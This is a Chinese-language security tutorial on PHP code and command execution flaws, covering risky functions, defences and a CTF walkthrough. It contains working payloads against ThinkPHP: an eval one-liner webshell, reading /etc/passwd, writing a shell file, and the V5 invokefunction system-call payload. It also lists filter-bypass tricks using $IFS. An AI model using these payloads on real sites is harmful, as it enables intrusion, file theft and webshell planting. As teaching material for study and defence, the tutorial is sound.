RCE代码及命令执行漏洞
1.RCE介绍
全称:remote command/code execute
分为远程命令执行和远程代码执行
1.命令执行漏洞: 直接调用操作系统命令
- 代码执行漏洞: 靠执行脚本代码调用操作系统命令
在Web应用中有时候程序员为了考虑灵活性、简洁性,会在代码调用代码或命令执行函数去处理。比如当应用在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏洞。同样调用系统命令处理,将造成命令执行漏洞。
2.代码执行漏洞
1.漏洞介绍
PHP代码执行漏洞可以将代码注入到应用中,最终到webserver去执行。该漏洞主要存在于eval()、assert()、preg_replace()、call_user_func()、array_map()以及动态函数中。
2.代码执行原理:
应用有时需要调用一些执行系统命令的函数,如PHP中的system、exec、assert、shell_exec、passthru、popen、proc_popen
escapeshellcmd、pcntl_exec等,当用户能控制这些函数中的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行***,这就是命令执行漏洞。以上函数主要也在webshell中用的多,实际上在正常应用中差别不太大,用得最多的还是前三个
3.代码执行漏洞危害
- 执行任意代码
- 向网站写WebShell
- 控制整个网站甚至服务器
4.函数介绍
1. eval()
eval() 函数把字符串按照 PHP 代码来计算。
该字符串必须是合法的 PHP 代码,且必须以分号结尾。
如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。
假设对方存在这样的一个代码执行漏洞 就可以用代码去攻击它
通过evel去上传一个webshell,然后去控制它
2. assert()
普通调用
//?a=phpinfo()
<?php assert($_POST['a']);?>
assert 函数支持动态调用
//?a=phpinfo()
<?php
$a = 'assert';
$a($_POST['a']);
?
php官方在php7中更改了 assert 函数。在php7.0.29之后的版本不支持动态调用。
<?php
$a = 'assert';
$a(phpinfo());
?>
//成功执行phpinfo()
3.preg_replace函数
此函数的作用是对一个字符串进行正则处理
mixed preg_replace ( mixed $ pattern , mixed $ replacement , mixed $ subject [, int $ limit = -1 [, int &$ count ]] )
…更多百度
5.代码执行漏洞防御:
- 尽量少用执行命令的函数或者直接禁用`
- 参数值尽量使用引号包括
- 在使用动态函数之前,确保使用的函数是指定的函数之一
- 在进入执行命令的函数/方法之前,对参数进行过滤,对敏感字符进行转义
- 能使用脚本解决的工作,不要调用其他程序处理。尽量少用执行命令的函数,并在disable_functions中禁用
- 对于可控点是程序参数的情况下,使用escapeshellcmd函数进行过滤,对于可控点是程序参数值的情况下,使用escapeshellarg函数进行过滤
- 参数的值尽量使用引号包裹,并在拼接前调用addslashes进行转义而针对由特定第三方组件引发的漏洞,我们要做的就是及时打补丁,修改安装时的默认配置。
- 对于eval( )函数一定要保证用户不能轻易接触eval的参数或者用正则严格判断输入的数据格式。
- 对于preg_replace放弃使用e修饰符。如果必须要用e修饰符,请保证第二个参数中,对于正则匹配出的对象,用单引号包裹 。
6.漏洞利用
# 一般找CMS相应版本漏洞,如ThinkPHP2.1
* 一句话
http://www.xxx.com/News/detail/id/{${@eval($_POST[aa])}}
* 得到当前路径
http://www.xxx.com/News/detail/id/{${print(getcwd()))}}
* 读文件
http://www.xxx.com/News/detail/id/{${exit(var_dump(file_get_contents($_POST['f'])))}}
POST的数据为:f=/etc/passwd
* 写shell
http://www.xxx.com/News/detail/id/{${exit(var_dump(file_put_contents($_POST['f'],$_POST[d])))}}
POST的数据为:f=1.php&d=<?php @eval($_POST['aa'])?>
3.命令执行漏洞
1.命令执行漏洞简介
用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许使用者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码
2.命令执行原理:
在操作系统中,“&、|、||”都可以作为命令连接符使用,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令
3.系统命令执行函数
1. System:system函数可以用来执行一个外部的应用程序并将相应的执行结果输出,函数原型如下:
system(command,return_var)
其中,command是要执行的命令,return_var存放执行命令的执行后的状态值。
2. Exec:exec函数可以用来执行一个外部的应用程序
exec (command, output, return_var)
其中,command是要执行的命令,output是获得执行命令输出的每一行字符串,return_var存放执行命令后的状态值
3.Passthru:passthru函数可以用来执行一个UNIX系统命令并显示原始的输出,当UNIX系统命令的输出是二进制的数据,并且需要直接返回值给浏览器时,需要使用passthru函数来替代system与exec函数。Passthru函数原型如下:
passthru (command, return_var)
其中,command是要执行的命令,return_var存放执行命令后的状态值。
4. Shell_exec:执行shell命令并返回输出的字符串,函数原型如下:
shell_exec (command)
其中,command是要执行的命令。
system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
4.Windows系统命令拼接
“|”:管道符,前面命令标准输出,后面命令的标准输入。例如:help |more
“&” commandA & commandB 先运行命令A,然后运行命令B
“||” commandA || commandB 运行命令A,如果失败则运行命令B
“&&” commandA && commandB 运行命令A,如果成功则运行命令B
绕过空格
$IFS$1 //$1改成$加其他数字都行,都能当作空格来用
{cat,flag.txt}
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt
4.实例
攻防世界web进阶区 题目:php_rce
看到这里,没有思路直接搜 ThinkPHP V5漏洞
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=
在url后添加?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /
发现flag文件
在url后添加?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1](http://www.manongjc.com/detail/25-bdsktbzcdlhfjwe.html#)=cat /flag
获得flag
参考博客:
https://blog.csdn.net/mochu7777777/article/details/104842420?utm_medium=distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-1.pc_relevant_default&spm=1001.2101.3001.4242.2&utm_relevant_index=4
https://blog.csdn.net/mochu7777777/article/details/104842420?utm_medium=distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-1.pc_relevant_default&spm=1001.2101.3001.4242.2&utm_relevant_index=4